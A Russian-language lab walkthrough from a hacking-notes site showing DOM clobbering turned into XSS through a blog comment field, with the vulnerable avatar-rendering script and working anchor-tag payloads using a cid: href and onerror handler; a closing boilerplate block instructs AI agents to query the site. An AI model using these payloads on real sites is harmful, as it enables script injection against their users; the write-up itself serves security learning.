> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/dom/dom-clobbering-xss.md).

# XSS через DOM clobbering

### Эксплуатация DOM Clobbering для выполнения XSS

Эксплуатируйте уязвимость DOM-clobbering. Функциональность комментариев допускает «безопасный» HTML. Цель — внедрить HTML-фрагмент, который перезаписывает переменную DOM (clobbering), и добиться выполнения XSS (`alert()`).

<figure><img src="/files/0ab432bc8e8637e968536a7d5f9cabb1f920b7ae" alt=""><figcaption></figcaption></figure>

Область комментариев принимает HTML, и некоторые элементы возвращаются (например, a `<h1>` интерпретатор).

<figure><img src="/files/8226fac79cb62741eebfaf0e8a7c9fc7dd486c8a" alt="" width="539"><figcaption></figcaption></figure>

* Клиентский скрипт загружает и отображает восстановленные комментарии в JSON. Он использует `DOMPurify.sanitize()` для очистки `author` и `body` полей, но другие манипуляции DOM остаются уязвимыми к clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Код создаёт `defaultAvatar` объект, считывая `window.defaultAvatar` если он присутствует; `defaultAvatar` следовательно, может быть перезаписан через DOM-элемент с `defaultAvatar` (clobbering)-идентификатором.
* Поскольку `src` атрибут `<img>` формируется из `defaultAvatar.avatar` когда `comment.avatar` отсутствует, можно принудительно вызвать `defaultAvatar` значение, контролируемое атакующим, чтобы повлиять на вставляемое значение.
* Вставка выполняется с помощью `divImgContainer.innerHTML = avatarImgHTML`, что запускает интерпретацию сформированной HTML-строки.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Попробуйте принудительно вызвать `defaultAvatar` через `<a id=defaultAvatar>` элемент, содержащий атрибут, который, вероятно, вызовет ошибку на стороне клиента (например, `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Это кодируется системой в URL-кодировку

<figure><img src="/files/c136d1cd84210813e06abe94dc133e5b8b326f2f" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/37822d18ac9e8c211938decb03c8f7e684d592ef" alt=""><figcaption></figcaption></figure>

Тестирование контура выполнено с использованием `cid:` схемы, чтобы значение не кодировалось:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

последнее интерпретируется

<figure><img src="/files/5678735f62276092b383277c58b0239b20253137" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/55b684c4441fe21ed26790327b06ceae76ba7cf5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
